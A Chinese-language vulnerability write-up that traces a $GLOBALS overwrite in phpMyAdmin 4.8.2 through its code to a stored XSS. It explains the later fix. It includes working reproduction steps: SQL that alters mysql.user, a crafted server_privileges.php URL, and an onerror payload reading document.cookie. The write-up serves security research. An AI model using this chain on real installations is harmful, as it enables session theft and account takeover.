最近在审计phpmyadmin的时候发现了一个XSS漏洞,后来发现在版本大于4.8.3以后该漏洞被修复了。看了下之前公布的CVE,有个CVE和此漏洞很相似但没有漏洞细节,于是乎便有了这篇文章。
phpmyadmin 4.8.2
phpstorm
phpstudy(xdebug)
首先下载xdebug,将phpinfo信息复制到在线向导中,根据提示下载dll文件, php.ini开启xdebug的配置如下。
xdebug.remote_enable=1 # 开启远程调试
xdebug.idekey='PHPSTORM' # sessionkey
xdebug.remote_port=9001 # 远程调试通信端口
zend_extension = D:\phpStudy\PHPTutorial\php\php-7.2.1-nts\ext\php_xdebug-2.9.4-7.2-vc15-nts.dll
在审计phpmyadmin时,我比较关注$GLOBALS全局变量,该变量存储了本次请求的信息、phpmyadmin基本设置信息和phpmyadmin配置文件信息等。先看看/libraries/classes/Server/Privileges.php::3977的以下代码。
foreach ($row as $key => $value) { $GLOBALS[$key] = $value; }
很明显,该处是$GLOBALS的赋值操作,而$row来自于对mysql.user表的查询结果,且$user_host_condition可控,
/libraries/classes/Server/Privileges.php::3966行
public static function getDataForChangeOrCopyUser() { $queries = null; $password = null; if (isset($_REQUEST['change_copy'])) { $user_host_condition = ' WHERE `User` = ' . "'" . $GLOBALS['dbi']->escapeString($_REQUEST['old_username']) . "'" . ' AND `Host` = ' . "'" . $GLOBALS['dbi']->escapeString($_REQUEST['old_hostname']) . "';"; $row = $GLOBALS['dbi']->fetchSingleRow( 'SELECT * FROM `mysql`.`user` ' . $user_host_condition );
既然上述代码会将mysql.user中符合条件的行的列名和值写入$GLOBALS中,我们便可通过添加mysql.user的列来往$GLOBALS中写入任意键值。清楚思路后,我们看看哪里调用了Privileges.php的getDataForChangeOrCopyUser函数,发现在server_privileges.php::178中对该函数有调用。
list($queries, $password) = Privileges::getDataForChangeOrCopyUser();
这时我们来试试向$GLOBALS中写一个$GLOBALS['xz']='aliyun'。进入mysql库,执行以下2条sql语句向user表添加xz字段,并插入一条数据。
ALTER TABLE user ADD xz varchar(255); INSERT INTO `user` (`Host`, `User`, `Password`, `Select_priv`, `Insert_priv`, `Update_priv`, `Delete_priv`, `Create_priv`, `Drop_priv`, `Reload_priv`, `Shutdown_priv`, `Process_priv`, `File_priv`, `Grant_priv`, `References_priv`, `Index_priv`, `Alter_priv`, `Show_db_priv`, `Super_priv`, `Create_tmp_table_priv`, `Lock_tables_priv`, `Execute_priv`, `Repl_slave_priv`, `Repl_client_priv`, `Create_view_priv`, `Show_view_priv`, `Create_routine_priv`, `Alter_routine_priv`, `Create_user_priv`, `Event_priv`, `Trigger_priv`, `Create_tablespace_priv`, `ssl_type`, `max_questions`, `max_updates`, `max_connections`, `max_user_connections`, `plugin`, `authentication_string`, `xz`) VALUES ('127.0.0.1', 'test', '*81F5E21E35407D884A6CD4A731AEBFB6AF209E1B', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', '', '0', '0', '0', '0', '', '', 'aliyun');
在/libraries/classes/Server/Privileges.php::3980下断点
$serverVersion = $GLOBALS['dbi']->getVersion();
然后构造http://127.0.0.1/phpMyAdmin-4.8.2/server_privileges.php?change_copy=aa&old_username=test&old_hostname=127.0.0.1&mode=5 参数请求,change_copy随便给个参数即可,mode必须大于4否则新添加的数据会被删除。
可以看到$GLOBALS['xz']='aliyun'已经成功赋值。
有了可控的$GLOBALS变量后,我们需要寻找触发点。要在一次请求便触发漏洞,公共页面是首选目标。通过全局搜索$GLOBALS变量,发现在libraries/classes/Navigation/NavigationTree.php::1272的renderDbSelect函数中有使用未过滤的$GLOBALS变量。
$retval .= '<div id="pma_navigation_db_select">'; $retval .= '<form action="index.php">'; $retval .= Url::getHiddenFields($url_params); $retval .= '<select name="db" class="hide" id="navi_db_select">' . '<option value="" dir="' . $GLOBALS['text_dir'] . '">'
继续搜索调用renderDbSelect函数地方,发现libraries\classes\Navigation\Navigation.php::62的getDisplay函数。
public function getDisplay() { /* Init */ $retval = ''; $response = Response::getInstance(); if (! $response->isAjax()) { $header = new NavigationHeader(); $retval = $header->getDisplay(); } $tree = new NavigationTree(); if (! $response->isAjax() || ! empty($_REQUEST['full']) || ! empty($_REQUEST['reload']) ) { if ($GLOBALS['cfg']['ShowDatabasesNavigationAsTree']) { // provide database tree in navigation $navRender = $tree->renderState(); } else { // provide legacy pre-4.0 navigation $navRender = $tree->renderDbSelect();
继续搜索实例化Naviagtion类并且调用了getDisplay函数的地方,发现libraries\classes\Header.php::440的getDisplay函数有调用。
public function getDisplay() { $retval = ''; ...(省略) if ($this->_menuEnabled && $GLOBALS['server'] > 0) { $nav = new Navigation(); $retval .= $nav->getDisplay(); }
搜索实例化Header->GetDisplay的方法,发现\libraries\classes\Response.php::100的构造方法中实例化了Header类,而$this-_header又在_getDisplay中被调用。_getDisplay被_htmlResponse调用,_htmlResponse在response函数中被调用。
private function __construct() { if (! defined('TESTSUITE')) { $buffer = OutputBuffering::getInstance(); $buffer->start(); register_shutdown_function(array($this, 'response')); } $this->_header = new Header(); $this->_HTML = ''; $this->_JSON = array();
\libraries\classes\Response.php::266行
private function _getDisplay() { // The header may contain nothing at all, // if its content was already rendered // and, in this case, the header will be // in the content part of the request $retval = $this->_header->getDisplay(); $retval .= $this->_HTML; $retval .= $this->_footer->getDisplay(); return $retval; }
\libraries\classes\Response.php::279行
private function _htmlResponse() { echo $this->_getDisplay(); }
\libraries\classes\Response.php::438行
public function response() { chdir($this->getCWD()); $buffer = OutputBuffering::getInstance(); if (empty($this->_HTML)) { $this->_HTML = $buffer->getContents(); } if ($this->isAjax()) { $this->_ajaxResponse(); } else { $this->_htmlResponse(); } $buffer->flush(); exit; }
这里注意__construct中的register_shutdown_function函数,看php manual,意思是说当脚本运行结束或遇到exit后会执行该response函数,
意思就是说只要哪里实例化了Response类,在程序运行结束后就会执行response函数。真好,回到server_privileges.php::34行,发现有实例化Response。
$response = Response::getInstance(); $header = $response->getHeader(); $scripts = $header->getScripts();
拥有以上调用链后,只需要控制$GLOBAS的键为text_dir,值为XSS payload即可,进入mysql库,执行以下sql语句修改列名xz为text_dir,并修改数据为XSS Payload。
ALTER TABLE `user` CHANGE `xz` `text_dir` VARCHAR(255) CHARACTER SET utf8 COLLATE utf8_bin NULL DEFAULT NULL; UPDATE `user` SET `text_dir` = '\"><img src=1 onerror=alert(document.cookie)><option dir=\"' WHERE `user`.`Host` = '127.0.0.1' AND `user`.`User` = 'test';
利用全局变量覆盖的方法触发XSS的点还有很多,在phpmyadmin4.8.3后将$_REQUEST替换成了$_POST,在common.inc.php中对于POST请求会预先校验token值,若token值与SESSION中不匹配,后续无法获取$_POST值,导致新版本无法实现XSS。
if ($_SERVER['REQUEST_METHOD'] == 'POST') { if (Core::isValid($_POST['token'])) { $token_provided = true; $token_mismatch = ! @hash_equals($_SESSION[' PMA_token '], $_POST['token']); }
phpmyadmin5.0.2(最新版修复方法)
if (isset($node->links['text'])) { $title = isset($node->links['title']) ? '' : $node->links['title']; $options .= '<option value="' . htmlspecialchars($node->realName) . '"' . ' title="' . htmlspecialchars($title) . '"' . ' apath="' . $paths['aPath'] . '"' . ' vpath="' . $paths['vPath'] . '"' . ' pos="' . $this->pos . '"'; if ($node->realName == $selected) { $options .= ' selected'; } $options .= '>' . htmlspecialchars($node->realName); $options .= '</option>'; }
虽然做了过滤,但由于全局变量覆盖问题依然存在,可以说最新版还是存在风险的。